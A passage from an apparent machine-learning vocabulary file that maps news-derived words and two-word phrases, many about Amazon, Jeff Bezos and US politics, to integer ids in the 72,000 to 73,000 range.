"ticket purchases": 72029, "constitutional assaults": 72030, "portfolio want": 72031, "nuruddin": 72032, "impulses": 72033, "exclusively": 72034, "gold medallist": 72035, "stalled": 72036, "frank center": 72037, "suddenly stopped": 72038, "hardie grant": 72039, "away forcing": 72040, "indistinct used": 72041, "valenti new": 72042, "withering eye": 72043, "unions germany": 72044, "important supplier": 72045, "allan richard": 72046, "__________": 72047, "compartment": 72048, "editor share": 72049, "schedules business": 72050, "footpaths": 72051, "secret organic": 72052, "enforcement better": 72053, "precedent gary": 72054, "new head": 72055, "republican sens": 72056, "slightly longer": 72057, "aid received": 72058, "sherm johnson": 72059, "players cash": 72060, "largesse amazon": 72061, "irony pic": 72062, "lo scalzo": 72063, "entire technology": 72064, "amazon killing": 72065, "martialed norah": 72066, "involves donald": 72067, "possible fiscally": 72068, "grown popular": 72069, "unpatriotic freedom": 72070, "sneak": 72071, "david zuckerman": 72072, "m1": 72073, "optimists": 72074, "include afghan": 72075, "crowdsourced models": 72076, "compounded growth": 72077, "amazon states": 72078, "million ownership": 72079, "new twitter": 72080, "amazon faces": 72081, "unveils experimental": 72082, "holiday devoted": 72083, "praise trump": 72084, "rampant intellectual": 72085, "woman did": 72086, "donate portion": 72087, "perspective save": 72088, "sounds": 72089, "stunningly stylish": 72090, "land knowledge": 72091, "esp": 72092, "nwdc resistance": 72093, "comment legal": 72094, "usually bottomed": 72095, "retailers file": 72096, "caicos islands": 72097, "exploiting state": 72098, "northern food": 72099, "used platforms": 72100, "corporate political": 72101, "screw public": 72102, "exclude paying": 72103, "buying sensitive": 72104, "union dominic": 72105, "cfo drew": 72106, "underpaid arguing": 72107, "antagonistic approach": 72108, "growth south": 72109, "hbo leave": 72110, "trends ___": 72111, "removes": 72112, "shirk paying": 72113, "monk stars": 72114, "mindful": 72115, "hutaaulmbj ccn": 72116, "fairly abstract": 72117, "editorial katrina": 72118, "licenses": 72119, "gothic": 72120, "shipp": 72121, "ludovic marin": 72122, "markham harvard": 72123, "delete delete": 72124, "sheriff deputy": 72125, "11am london": 72126, "observant": 72127, "dhoward": 72128, "partner related": 72129, "develop cities": 72130, "grylls": 72131, "trump oks": 72132, "delhi reliance": 72133, "l8": 72134, "expose additional": 72135, "tabloid thenational": 72136, "deal crossed": 72137, "notopoulos": 72138, "korea began": 72139, "san lucas": 72140, "increasing state": 72141, "lawyer denies": 72142, "brands tl": 72143, "department babb": 72144, "news hysteria": 72145, "brands ahead": 72146, "lessons vivek": 72147, "6founder": 72148, "cities seek": 72149, "pentagon riches": 72150, "away despite": 72151, "apropos": 72152, "sot ac": 72153, "unfair practices": 72154, "label gallerytitle": 72155, "oracle mark": 72156, "pleasant watch": 72157, "month final": 72158, "somalian": 72159, "owned companies": 72160, "threat": 72161, "nostalgic": 72162, "454 shares": 72163, "company loaned": 72164, "inappropriate mixing": 72165, "tensions mean": 72166, "send email": 72167, "new angle": 72168, "assaulting reporter": 72169, "medicated": 72170, "literally heats": 72171, "infamous 2000": 72172, "loftier": 72173, "amzn closed": 72174, "example read": 72175, "hashtag say": 72176, "composure": 72177, "century economists": 72178, "russian woman": 72179, "destructive poisons": 72180, "doesn tell": 72181, "persian": 72182, "stupid stuff": 72183, "editor times": 72184, "biggest payment": 72185, "buyer complaints": 72186, "debuts blockchain": 72187, "bipartisan budget": 72188, "gerard way": 72189, "male trump": 72190, "biggest victim": 72191, "announces hq2": 72192, "btn": 72193, "pacific": 72194, "midterms democrats": 72195, "concerns trump": 72196, "enders": 72197, "indicts": 72198, "judith": 72199, "reportedly occurred": 72200, "glaciers pine": 72201, "don steal": 72202, "finish early": 72203, "pornography according": 72204, "stands right": 72205, "karen cramer": 72206, "jake fischer": 72207, "education services": 72208, "account 1520251200": 72209, "uyehara taste": 72210, "announce brand": 72211, "taxes democratic": 72212, "live real": 72213, "told lawmakers": 72214, "short circuited": 72215, "day film": 72216, "community brought": 72217, "touches nerve": 72218, "select alexa": 72219, "hardwood floors": 72220, "direct official": 72221, "recently revealed": 72222, "webpronews": 72223, "relative strength": 72224, "dollars insisting": 72225, "joins industry": 72226, "jewish employees": 72227, "lies half": 72228, "insider workers": 72229, "cuda": 72230, "employees republican": 72231, "portals amazon": 72232, "nixes new": 72233, "economics specifically": 72234, "finnish capital": 72235, "436 hammer": 72236, "dodged number": 72237, "faculty member": 72238, "remove accounts": 72239, "address bolsonaro": 72240, "dashboard troll": 72241, "whittemore house": 72242, "somewhat reluctant": 72243, "soared meaning": 72244, "acker": 72245, "abatement": 72246, "alisha haridasani": 72247, "pulled nbc": 72248, "postal policies": 72249, "currently amzn": 72250, "russia points": 72251, "card balance": 72252, "delayed flights": 72253, "core stronger": 72254, "swamp forces": 72255, "mongabay": 72256, "split long": 72257, "inspector general": 72258, "national book": 72259, "sell deal": 72260, "trump fixation": 72261, "tariffs president": 72262, "publication quotes": 72263, "light rail": 72264, "50m": 72265, "greater control": 72266, "fourth place": 72267, "474": 72268, "shelves virtual": 72269, "government investment": 72270, "mcknight right": 72271, "adam": 72272, "arrive personally": 72273, "amazon cashier": 72274, "trump approval": 72275, "local zoning": 72276, "rounding error": 72277, "criticisms follow": 72278, "note deutsch": 72279, "times russell": 72280, "nelp": 72281, "baltimore tuba": 72282, "packaged amazon": 72283, "week lawyers": 72284, "contractually obligated": 72285, "pundit reports": 72286, "010": 72287, "submitted additional": 72288, "stores just": 72289, "began documenting": 72290, "reuters image": 72291, "entrepreneur think": 72292, "slowed bit": 72293, "schiff senior": 72294, "recommended legal": 72295, "specifically focuses": 72296, "affair voice": 72297, "terecht": 72298, "microsoft thought": 72299, "post ad": 72300, "sgtreport vantagewire": 72301, "concerning delivery": 72302, "hail": 72303, "s7a f7a": 72304, "mortar retail": 72305, "north wing": 72306, "levels guide": 72307, "increase minimum": 72308, "wiped away": 72309, "profit organization": 72310, "punctured": 72311, "jerusalem": 72312, "eliminator": 72313, "company provided": 72314, "earth shirt": 72315, "drug mule": 72316, "capitalist libertarian": 72317, "ingredients used": 72318, "ted malloch": 72319, "tamil": 72320, "fraudulent assets": 72321, "rightly deserves": 72322, "praises kevin": 72323, "lobbying disclosure": 72324, "story shannon": 72325, "henrique cardoso": 72326, "lee amazon": 72327, "company sidewalk": 72328, "ap google": 72329, "paired": 72330, "2018 ap": 72331, "texas high": 72332, "macy amazon": 72333, "lauren helicopter": 72334, "political": 72335, "thing players": 72336, "jeffbezos making": 72337, "noahs netflix": 72338, "ami letters": 72339, "set clearly": 72340, "8217 biggest": 72341, "restaurant publicly": 72342, "west starting": 72343, "advised cnnmoney": 72344, "killing egyptian": 72345, "malevolent": 72346, "advisor solutions": 72347, "cardi called": 72348, "biggest obstacle": 72349, "appears trump": 72350, "business continue": 72351, "commerce website": 72352, "fmr llc": 72353, "peaks photo": 72354, "syndicated": 72355, "flesh foods": 72356, "itt scandal": 72357, "issue honda": 72358, "downtrodden communities": 72359, "similar activism": 72360, "cortez green": 72361, "intercepted": 72362, "bleeding": 72363, "q4": 72364, "mcdermott mark": 72365, "amzn units": 72366, "parties place": 72367, "force urging": 72368, "reality": 72369, "strong delivery": 72370, "ballmer built": 72371, "leftover": 72372, "real winner": 72373, "mary ann": 72374, "valued considering": 72375, "harris social": 72376, "q2 2017": 72377, "news release": 72378, "fabrications": 72379, "prophecy": 72380, "host daily": 72381, "life expectancy": 72382, "intra": 72383, "tony west": 72384, "people revitalize": 72385, "cell batteries": 72386, "illusions": 72387, "war click": 72388, "oklahoma complained": 72389, "missteps khosrowshahi": 72390, "tractors": 72391, "faster pete": 72392, "different branches": 72393, "avid shark": 72394, "motivating usps": 72395, "delete": 72396, "scale devised": 72397, "publicly mulling": 72398, "recorder competitor": 72399, "dozen audio": 72400, "janssen willhoit": 72401, "featured guest": 72402, "containing queensbridge": 72403, "harriet": 72404, "british reading": 72405, "foto sourcebuild": 72406, "green oasis": 72407, "international anticounterfeiting": 72408, "known thing": 72409, "swooping camera": 72410, "love pilgrimage": 72411, "general tish": 72412, "collection division": 72413, "development program": 72414, "haram": 72415, "select committee": 72416, "regardless": 72417, "intelligence dan": 72418, "cultivating": 72419, "kirio": 72420, "samsung india": 72421, "latest quarter": 72422, "amazonia encompasses": 72423, "gifting": 72424, "2004 hillary": 72425, "reducing trade": 72426, "quake turns": 72427, "waters security": 72428, "midterms democratic": 72429, "spitting wind": 72430, "key facts": 72431, "accusers": 72432, "biscuits": 72433, "juncker commission": 72434, "bid adieu": 72435, "occasioned": 72436, "retracement": 72437, "travel company": 72438, "thomson knows": 72439, "newshour": 72440, "left people": 72441, "store delis": 72442, "says want": 72443, "bank deposits": 72444, "personal profit": 72445, "president press": 72446, "100 list": 72447, "dictatorial age": 72448, "way seattle": 72449, "ideas deceiving": 72450, "washington area": 72451, "conde": 72452, "hayek told": 72453, "western countries": 72454, "bravery bezos": 72455, "amazon recorded": 72456, "deforested": 72457, "gathering customer": 72458, "cigars": 72459, "bias saying": 72460, "yielded": 72461, "today prime": 72462, "called algo": 72463, "directing millions": 72464, "paper isn": 72465, "leaking internal": 72466, "vape god": 72467, "1812296334": 72468, "music red": 72469, "aut_newsletter_location": 72470, "fetuses feature": 72471, "published people": 72472, "story happy": 72473, "ghabour key": 72474, "withdrawal": 72475, "mnuchin accused": 72476, "elementary": 72477, "enquirer investigation": 72478, "mangoes america": 72479, "natives adults": 72480, "night facebook": 72481, "reuters lindsey": 72482, "billion distraction": 72483, "revenue blew": 72484, "cohen retweeted": 72485, "pedro ulteras": 72486, "essayist toni": 72487, "don investigate": 72488, "brattleboro": 72489, "dems tomi": 72490, "burlington free": 72491, "earlier digits": 72492, "flair marrying": 72493, "doing buddy": 72494, "torrential": 72495, "cardigan bay": 72496, "970x450": 72497, "disclosing": 72498, "continued slamming": 72499, "shows promise": 72500, "000 pudo": 72501, "improved regulations": 72502, "school teachers": 72503, "collect potentially": 72504, "incentivized imports": 72505, "falsely posit": 72506, "eternity gate": 72507, "signed pre": 72508, "tawdry episode": 72509, "prime music": 72510, "effectively ended": 72511, "political sidebars": 72512, "mini arrives": 72513, "production values": 72514, "incriminating information": 72515, "finance industry": 72516, "hack": 72517, "building smart": 72518, "think picking": 72519, "obama cited": 72520, "immune": 72521, "discount retailer": 72522, "fedex news": 72523, "stricter gun": 72524, "475 shares": 72525, "gop kavanaugh": 72526, "implying rally": 72527, "avoidance amazon": 72528, "bowen dagger": 72529, "japan data": 72530, "good community": 72531, "bribery publix": 72532, "267": 72533, "unlawfully": 72534, "strongly refutes": 72535, "exaggerates": 72536, "ban halt": 72537, "stoic": 72538, "told floridapolitics": 72539, "carmen best": 72540, "race associated": 72541, "blame squarely": 72542, "communities united": 72543, "dating pool": 72544, "endowment lp": 72545, "shipments meaning": 72546, "7d": 72547, "texas begin": 72548, "bbc notes": 72549, "banning print": 72550, "prosperous": 72551, "melissa schorr": 72552, "company rean": 72553, "bezos penned": 72554, "population jedi": 72555, "jeff did": 72556, "vile reputation": 72557, "searches half": 72558, "breaker": 72559, "benjamin yee": 72560, "aids polio": 72561, "keeps proving": 72562, "truth lies": 72563, "benefits avg": 72564, "jpm wells": 72565, "increasingly expecting": 72566, "companies evil": 72567, "personal obsession": 72568, "region remains": 72569, "increasingly sophisticated": 72570, "milk": 72571, "cyber retailing": 72572, "naini viniar": 72573, "investors understand": 72574, "today best": 72575, "mind jeff": 72576, "dilip": 72577, "charging boxer": 72578, "mirror newspaper": 72579, "logistics super": 72580, "false callbackobj": 72581, "deliveroo giving": 72582, "058": 72583, "machine recount": 72584, "making multiple": 72585, "dangerous facial": 72586, "amazon richer": 72587, "rosenstein justice": 72588, "interrupting": 72589, "partisan support": 72590, "gilberto": 72591, "bezos fractured": 72592, "researchers tom": 72593, "neighborhoods united": 72594, "kish": 72595, "201 657": 72596, "comment specifically": 72597, "findings don": 72598, "wages maybe": 72599, "extensively": 72600, "potentially compete": 72601, "tax revenue": 72602, "hopefully punish": 72603, "cohen speechboy71": 72604, "bezos touts": 72605, "email print": 72606, "previously founded": 72607, "offers day": 72608, "zuckerberg decided": 72609, "fallen veterans": 72610, "legal minds": 72611, "type jobs": 72612, "ebook downloads": 72613, "independent 2018": 72614, "reaching 178": 72615, "mellon tells": 72616, "homeless service": 72617, "term obviously": 72618, "innovation experience": 72619, "pouches": 72620, "fully make": 72621, "published technology": 72622, "climbing higher": 72623, "90149 z4a": 72624, "president patchett": 72625, "times mack": 72626, "diabetes": 72627, "amazon reportedly": 72628, "1077231267559755776 read": 72629, "refereeing": 72630, "demonstration": 72631, "rights group": 72632, "pick gorsuch": 72633, "university broward": 72634, "hyatt": 72635, "moved probably": 72636, "1531928062 mod": 72637, "executive leadership": 72638, "duchess walked": 72639, "isn correctly": 72640, "bank account": 72641, "probably won": 72642, "underrepresented": 72643, "nieto": 72644, "lunch amazon": 72645, "regions diverse": 72646, "shares gained": 72647, "bizarre history": 72648, "gotten hold": 72649, "congressional gerrymandering": 72650, "conduct brosseau": 72651, "bear bull": 72652, "new horror": 72653, "donned bald": 72654, "amazon posted": 72655, "wage measure": 72656, "occurs seller": 72657, "onewest refused": 72658, "broad strokes": 72659, "south burlington": 72660, "despite plug": 72661, "american agent": 72662, "based cloud": 72663, "consider taking": 72664, "address trump": 72665, "congressman ocasio": 72666, "past week": 72667, "jacobson blue": 72668, "extreme weather": 72669, "iwb": 72670, "latest demonstration": 72671, "sale saw": 72672, "mxhrafnf2k": 72673, "enormous win": 72674, "accordingly amazon": 72675, "project joe": 72676, "promises south": 72677, "dieting 2019": 72678, "gideon resnick": 72679, "stake terrorizes": 72680, "commodity moving": 72681, "cloud employee": 72682, "employees bartiromo": 72683, "originally written": 72684, "surprisingly weak": 72685, "subtitles torel": 72686, "john banks": 72687, "dc kerry": 72688, "volatile markets": 72689, "google disappoint": 72690, "bought startup": 72691, "revisionist fantasies": 72692, "dark history": 72693, "dvr": 72694, "devastating tragedies": 72695, "daily trump": 72696, "lands zinke": 72697, "amazon chris": 72698, "people bank": 72699, "esch": 72700, "starring carrell": 72701, "dishing dirt": 72702, "aclu letter": 72703, "youngs": 72704, "democratic anti": 72705, "smartpower program": 72706, "walmart isn": 72707, "matt daily": 72708, "guys threw": 72709, "uspo woe": 72710, "randolfo": 72711, "additionalsections auxiliarytext": 72712, "gentleman": 72713, "825": 72714, "rain canadian": 72715, "huawei tried": 72716, "employees filed": 72717, "romney hits": 72718, "foreign countries": 72719, "book reveals": 72720, "barbara corcoran": 72721, "elmjouie airs": 72722, "regulatory legislative": 72723, "increase customer": 72724, "demise": 72725, "latest forbes": 72726, "fell steel": 72727, "new america": 72728, "traditionally": 72729, "understaffed enduring": 72730, "democrat drawled": 72731, "revenue watch": 72732, "quickly accumulate": 72733, "castaway": 72734, "book promoting": 72735, "washable business": 72736, "predicted jeff": 72737, "administration delivered": 72738, "samsung business": 72739, "dem candidates": 72740, "trillion industry": 72741, "klj cnn": 72742, "pinpointed": 72743, "contributions 2018": 72744, "ensure level": 72745, "twitter storm": 72746, "strangers": 72747, "jeffery": 72748, "street analyst": 72749, "foreign markets": 72750, "marijuana paraphernalia": 72751, "panic button": 72752, "mouse": 72753, "tim1965": 72754, "strategist 2019": 72755, "camp people": 72756, "zion": 72757, "equality": 72758, "political essays": 72759, "application couldn": 72760, "despising": 72761, "sideways think": 72762, "fines breaking": 72763, "progressives saying": 72764, "stringer": 72765, "wing populists": 72766, "authorized automated": 72767, "nonfiction barracoon": 72768, "claims according": 72769, "1014144323934277632": 72770, "office posted": 72771, "leaning media": 72772, "recent ode": 72773, "historical acn": 72774, "cites trillion": 72775, "qid 1530799114": 72776, "self destructive": 72777, "sclerosis": 72778, "textbook": 72779, "sides appear": 72780, "provide shelter": 72781, "workers freshman": 72782, "mysql": 72783, "claimed independent": 72784, "malbin": 72785, "eleanor": 72786, "dorfman": 72787, "guadagnino": 72788, "edvard pettersson": 72789, "home exhausted": 72790, "roughly 500": 72791, "new voice": 72792, "days moser": 72793, "queens based": 72794, "attack congestion": 72795, "cynics say": 72796, "reported unlike": 72797, "profitably engages": 72798, "viable hope": 72799, "headline writer": 72800, "fang exposure": 72801, "plaintiffs continue": 72802, "closer ties": 72803, "galore providing": 72804, "does business": 72805, "infighting misjudgment": 72806, "closest cn": 72807, "expo": 72808, "workers 2018": 72809, "massed troop": 72810, "mark josephson": 72811, "reflects consumer": 72812, "course look": 72813, "president rhetorical": 72814, "delia owens": 72815, "eps calculation": 72816, "losses companies": 72817, "worldwide growth": 72818, "educated quickly": 72819, "security according": 72820, "slavery jeff": 72821, "observed veterans": 72822, "25357": 72823, "post calling": 72824, "fight ramesh": 72825, "aversion": 72826, "important person": 72827, "stonewall encouraging": 72828, "security facebook": 72829, "quentin fulks": 72830, "allegedly raped": 72831, "thinks separating": 72832, "fubo bundle": 72833, "texts ended": 72834, "korea teachers": 72835, "deference": 72836, "resonates": 72837, "consumer looking": 72838, "public programs": 72839, "statements amazon": 72840, "immunity pecker": 72841, "shoppers counterfeit": 72842, "sales dropped": 72843, "shirts today": 72844, "true despite": 72845, "lot": 72846, "height": 72847, "people friendly": 72848, "help retrieve": 72849, "notorious mexican": 72850, "lawyer lina": 72851, "onewest ownership": 72852, "control vast": 72853, "robert martin": 72854, "robbed": 72855, "florida louisiana": 72856, "nazi memorabilia": 72857, "google training": 72858, "follow number": 72859, "1133": 72860, "attributed": 72861, "guidance shares": 72862, "threats reached": 72863, "mediation instead": 72864, "ideological crossfire": 72865, "including bipartisan": 72866, "accounts harley": 72867, "fear generator": 72868, "fees users": 72869, "sandcastles": 72870, "news gregg": 72871, "mere technical": 72872, "reuters airbus": 72873, "hooq": 72874, "cinematic counterparts": 72875, "sourced good": 72876, "minutes ago": 72877, "keith questioned": 72878, "negotiating possible": 72879, "texts blew": 72880, "children blood": 72881, "tweeted john": 72882, "live stream": 72883, "entrepreneur 137": 72884, "virginia mastrel": 72885, "acre plot": 72886, "amazon stop": 72887, "times supreme": 72888, "matthew brooker": 72889, "trademark": 72890, "currently valued": 72891, "buys zuckerberg": 72892, "home technology": 72893, "811 shares": 72894, "equates amazon": 72895, "charles atlas": 72896, "employs": 72897, "security justification": 72898, "education initiatives": 72899, "nominated gianaris": 72900, "bible pajamas": 72901, "yorgos": 72902, "future probably": 72903, "tko": 72904, "frog posing": 72905, "vulnerable repeat": 72906, "alex burns": 72907, "appointees tony": 72908, "story government": 72909, "potential host": 72910, "tidings jackie": 72911, "business walker": 72912, "stay strong": 72913, "amazon refusal": 72914, "s8 j8i": 72915, "convention donna": 72916, "market backdrop": 72917, "dobbs owns": 72918, "fukuoka japan": 72919, "pretax": 72920, "just salary": 72921, "conditions democrats": 72922, "double standards": 72923, "appease sen": 72924, "ai diagnostic": 72925, "selling fake": 72926, "access americans": 72927, "close lower": 72928, "commerce consultant": 72929, "walmart alice": 72930, "republican tax": 72931, "mnuchin omarosa": 72932, "government giving": 72933, "washington iot": 72934, "committee announced": 72935, "advertisement trump": 72936, "exclusive shipper": 72937, "acted lawfully": 72938, "strengthening": 72939, "couple told": 72940, "linger earlier": 72941, "congress worked": 72942, "stepdaughter takes": 72943, "wulfraat president": 72944, "amazons virtual": 72945, "play fictionalized": 72946, "literate": 72947, "sides amazon": 72948, "book heralded": 72949, "vukmir": 72950, "democratically controlled": 72951, "releasing dozens": 72952, "increased responsibility": 72953, "bryan weaver": 72954, "pemex": 72955, "story stocks": 72956, "counselors": 72957, "apostle photo": 72958, "eastthe": 72959, "nsa spying": 72960, "axios tweet": 72961, "reboot carell": 72962, "dangers presented": 72963, "successful campaign": 72964, "records kayla": 72965, "long battle": 72966, "second compared": 72967, "ormond": 72968, "deadspin spun": 72969, "trump criticizing": 72970, "region sinnet": 72971, "little lies": 72972, "insinuating": 72973, "uninspiring state": 72974, "manry": 72975, "binge watch": 72976, "pablo": 72977, "obviously generate": 72978, "play hardball": 72979, "decision green": 72980, "flags alas": 72981, "racy publication": 72982, "reporters amazon": 72983, "quite\u0430an antidote": 72984, "vmware announce": 72985, "sandwiches": 72986, "economy did": 72987, "private specifically": 72988, "reducing faang": 72989, "stationed overseas": 72990, "obvious target": 72991, "influential tech": 72992, "main adversaries": 72993, "mlk": 72994, "new innovative": 72995, "jpmorgan nyse": 72996, "contracts meet": 72997, "cagle": 72998, "yujin kim": 72999, "decidedly unamazonian": 73000, "speculative discussions": 73001, "comparing": 73002, "interview 2019": 73003, "money flow": 73004, "sept uncooked": 73005, "interior director": 73006, "adam smith": 73007, "clea duvall": 73008, "national australia": 73009, "bank ability": 73010, "arizona reported": 73011, "lince tjl": 73012, "google refusal": 73013, "fund announced": 73014, "areas critics": 73015, "analysis diginomica": 73016, "news updates": 73017, "docuseries tom": 73018, "84c": 73019, "carrying bouquets": 73020, "software called": 73021, "latest work": 73022, "dubbed hq2": 73023, "symbolic": 73024, "storage company": 73025, "whitesells": 73026, "suing drug": 73027, "john edge": 73028, "communities known": 73029, "elisabeth": 73030, "offer shippers": 73031, "statement declaring": 73032, "boeing chief": 73033, "gerrymandering did": 73034, "just start": 73035, "map travelpod": 73036, "positive reception": 73037, "platform edges": 73038, "buildings don": 73039, "bryan crabtree": 73040, "property protection": 73041, "trump tightened": 73042, "urquhart reuters": 73043, "watch inventory": 73044, "obtain permission": 73045, "ago henderson": 73046, "bills including": 73047, "soe zeya": 73048, "breathe little": 73049, "mind games": 73050, "fool canada": 73051, "leading tech": 73052, "gilded age": 73053, "stepfather": 73054, "chump": 73055, "volume pricing": 73056, "illegally obstruct": 73057, "latest bombshell": 73058, "ceo simply": 73059, "pecker provided": 73060, "amazon passengers": 73061, "modern times": 73062, "capitalization isn": 73063, "trouble jan": 73064, "leftists": 73065, "putting aside": 73066, "notify": 73067, "personal law": 73068, "bezos 250": 73069, "trump kellyanne": 73070, "viticultural area": 73071, "manufactured contradiction": 73072, "amanda wait": 73073, "powered tablet": 73074, "bezos references": 73075, "provide real": 73076, "thornburgh": 73077, "reaching 1827": 73078, "tech lords": 73079, "autograph": 73080, "techfreedom asserted": 73081, "consider amazon": 73082, "112bn": 73083, "pattern": 73084, "contributed 000": 73085, "ultimately decline": 73086, "flagship issue": 73087, "facility iso": 73088, "mngmt locust": 73089, "catch l0": 73090, "completely different": 73091, "assure normal": 73092, "seated alongside": 73093, "point included": 73094, "sinister occurrences": 73095, "freedom incentive": 73096, "fake bezos": 73097, "fedex fare": 73098, "changing longstanding": 73099, "kavanaugh story": 73100, "states presidency": 73101, "theaters": 73102, "popping numbers": 73103, "government does": 73104, "nba": 73105, "merchant perspective": 73106, "story stock": 73107, "website slate": 73108, "starstruck": 73109, "taxes shutting": 73110, "officiating": 73111, "relented": 73112, "k8 m8i": 73113, "changes barely": 73114, "students despite": 73115, "dems": 73116, "carried reports": 73117, "bezos blackmailed": 73118, "servicer": 73119, "gridhash": 73120, "means half": 73121, "treatments": 73122, "predicto magic": 73123, "president current": 73124, "brazil doesn": 73125, "addy": 73126, "nbc feel": 73127, "news abruptly": 73128, "inner lives": 73129, "html action": 73130, "likewise amazon": 73131, "bristol": 73132, "leading stock": 73133, "wien 2018": 73134, "presences": 73135, "book key": 73136, "anticipated netflix": 73137, "tie amazon": 73138, "fuckup": 73139, "ultra wealthy": 73140, "sights": 73141, "chief says": 73142, "favorite search": 73143, "hunky dory": 73144, "video advertisements": 73145, "financially vulnerable": 73146, "feel fresh": 73147, "taxpayer subsidies": 73148, "called relentless": 73149, "revolt": 73150, "instance announced": 73151, "ceo revealing": 73152, "economy continue": 73153, "cattle": 73154, "decade 2009": 73155, "law year": 73156, "reasons americans": 73157, "215 targets": 73158, "amazon disruptive": 73159, "received stories": 73160, "broken apart": 73161, "independence chris": 73162, "crude tends": 73163, "trump bashed": 73164, "indirect": 73165, "woodward new": 73166, "women claims": 73167, "lawsuit lists": 73168, "addition edwards": 73169, "toxicity": 73170, "bribery": 73171, "people revile": 73172, "help approps": 73173, "partner thomson": 73174, "chapter 11s": 73175, "amazon associate": 73176, "salvation": 73177, "delivery analysis": 73178, "meddle": 73179, "2015 samsung": 73180, "voting control": 73181, "daca serial": 73182, "cook satya": 73183, "horror anthology": 73184, "student nicholas": 73185, "ai donald": 73186, "affinity": 73187, "services outside": 73188, "time teresa": 73189, "activists ascent": 73190, "rave reviews": 73191, "share petitions": 73192, "financial issues": 73193, "shutdown watch": 73194, "mid day": 73195, "spy chips": 73196, "republic aug": 73197, "create presence": 73198, "core industry": 73199, "adidas warned": 73200, "meet carlson": 73201, "post moveon": 73202, "commercial workers": 73203, "officials threatened": 73204, "fragile": 73205, "halfway": 73206, "marketing hype": 73207, "private information": 73208, "past success": 73209, "mini game": 73210, "privately praised": 73211, "dc overlooks": 73212, "analyst angelo": 73213, "investigate payments": 73214, "hunger poverty": 73215, "club president": 73216, "elevation offers": 73217, "world eventually": 73218, "giving service": 73219, "hoover nearby": 73220, "stability oversight": 73221, "msn home": 73222, "allow unlimited": 73223, "sporting items": 73224, "moss read": 73225, "new calls": 73226, "understand people": 73227, "laid bare": 73228, "agents visited": 73229, "blunt trump": 73230, "prime real": 73231, "systems scan": 73232, "equity pay": 73233, "typically hold": 73234, "onadplay function": 73235, "sarah lynch": 73236, "workers published": 73237, "office lewandowski": 73238, "research publication": 73239, "raise starting": 73240, "discuss coordination": 73241, "2fuser": 73242, "fine online": 73243, "beforethis": 73244, "irs": 73245, "troubling given": 73246, "companies prescription": 73247, "past cyber": 73248, "events fundraisers": 73249, "workers criticized": 73250, "worldwide yes": 73251, "public finance": 73252, "men took": 73253, "chubb cb": 73254, "lost firefighters": 73255, "hear lot": 73256, "t5q 131": 73257, "general reuters": 73258, "indianapolis": 73259, "states shows": 73260, "plastic fish": 73261, "1q17": 73262, "pique": 73263, "threw tarp": 73264, "expected targets": 73265, "bezos owning": 73266, "year bull": 73267, "____________________________today dealbook": 73268, "getting amazon": 73269, "reportingon": 73270, "958 228": 73271, "held 483": 73272, "jarrett fox": 73273, "explicitly deny": 73274, "trans": 73275, "long rules": 73276, "different pages": 73277, "viewpoints displease": 73278, "amazon 359": 73279, "100 travel": 73280, "stltoday": 73281, "tindall memoir": 73282, "size reuters": 73283, "service current": 73284, "quickly changed": 73285, "democratic congresswoman": 73286, "kong initial": 73287, "dwindling number": 73288, "actually committing": 73289, "reasonable interpretation": 73290, "stop allowing": 73291, "senate leader": 73292, "d1": 73293, "today market": 73294, "structure eliminated": 73295, "senate confirmed": 73296, "catalog covers": 73297, "completely envelop": 73298, "service coalition": 73299, "rise documentary": 73300, "potential costumes": 73301, "author depiction": 73302, "medium accused": 73303, "jeff bezoss": 73304, "rm40 68bil": 73305, "smith assurance": 73306, "historically trump": 73307, "continues amazon": 73308, "care issues": 73309, "hardly competition": 73310, "tribune editors": 73311, "says knock": 73312, "refiners amazon": 73313, "start hiring": 73314, "plaintiffs attorneys": 73315, "trump appeal": 73316, "usps raising": 73317, "buy shoes": 73318, "series unscripted": 73319, "makeup": 73320, "twitter late": 73321, "ousted": 73322, "politicians say": 73323, "enemy writes": 73324, "2056": 73325, "second supreme": 73326, "ibm led": 73327, "series": 73328, "warfighters": 73329, "woodward uncovered": 73330, "2015 dinner": 73331, "additional examples": 73332, "promote sustainable": 73333, "rise watch": 73334, "epa sessions": 73335, "area locations": 73336, "propagated": 73337, "exhausting": 73338, "article netflixs": 73339, "cause temporary": 73340, "contract valued": 73341, "tax shell": 73342, "vivo": 73343, "catalog offered": 73344, "product revenue": 73345, "county memorial": 73346, "hearing according": 73347, "yesterday earnings": 73348, "paltry wage": 73349, "stock focus": 73350, "business ming": 73351, "professional antitrust": 73352, "inc_serid inc_prtid": 73353, "greenwich connecticut": 73354, "postal rate": 73355, "ona": 73356, "ceo robbie": 73357, "michael fox": 73358, "capacity treasury": 73359, "stare": 73360, "poetic license": 73361, "recycle": 73362, "scott gallaway": 73363, "unwanted texts": 73364, "meltdown": 73365, "company ops": 73366, "wasn helping": 73367, "boteach": 73368, "sure employee": 73369, "installation companies": 73370, "intolerant": 73371, "instance amazon": 73372, "worker programs": 73373, "oligarchs": 73374, "regional white": 73375, "wall clocks": 73376, "pooh": 73377, "significant assets": 73378, "michael moynihan": 73379, "membership gotten": 73380, "reserve president": 73381, "actor jussie": 73382, "opportunity yes": 73383, "toxic stress": 73384, "cooking almonds": 73385, "fox newspeson": 73386, "575": 73387, "alves lawyer": 73388, "annual concert": 73389, "nix": 73390, "indigenous reservation": 73391, "gael garcia": 73392, "new terminals": 73393, "bring attention": 73394, "group annual": 73395, "organization concludes": 73396, "particularly bad": 73397, "earlier suggesting": 73398, "mining amazon": 73399, "alberts": 73400, "trump ordered": 73401, "utm_content investing_promo": 73402, "nation peek": 73403, "filter": 73404, "alexander smalls": 73405, "jun": 73406, "insularity": 73407, "just topped": 73408, "bold world": 73409, "counterfeit navarro": 73410, "rifle association": 73411, "feature film": 73412, "pence quoted": 73413, "resign kevin": 73414, "fiction counts": 73415, "moser don": 73416, "online ad": 73417, "rental company": 73418, "billionaire wrote": 73419, "price competition": 73420, "rich guys": 73421, "criticised bezos": 73422, "surgical robots": 73423, "genitals": 73424, "better great": 73425, "ticks": 73426, "hiding places": 73427, "delhi lenovo": 73428, "unquote control": 73429, "petition calling": 73430, "porat promised": 73431, "populist demand": 73432, "organization spreading": 73433, "lessons": 73434, "second era": 73435, "far investors": 73436, "seized illegal": 73437, "cult": 73438, "concerns asked": 73439, "images inadequacies": 73440, "nurse assisting": 73441, "add comment": 73442, "operating companies": 73443, "million mansion": 73444, "nights weeknights": 73445, "turn shoppers": 73446, "emergency room": 73447, "unduly downplaying": 73448, "denounced": 73449, "miguel mckelvey": 73450, "hawley sen": 73451, "independence autonomy": 73452, "favale": 73453, "canadian customers": 73454, "2014 donald": 73455, "urges europe": 73456, "macy ap": 73457, "bravery": 73458, "platform underscores": 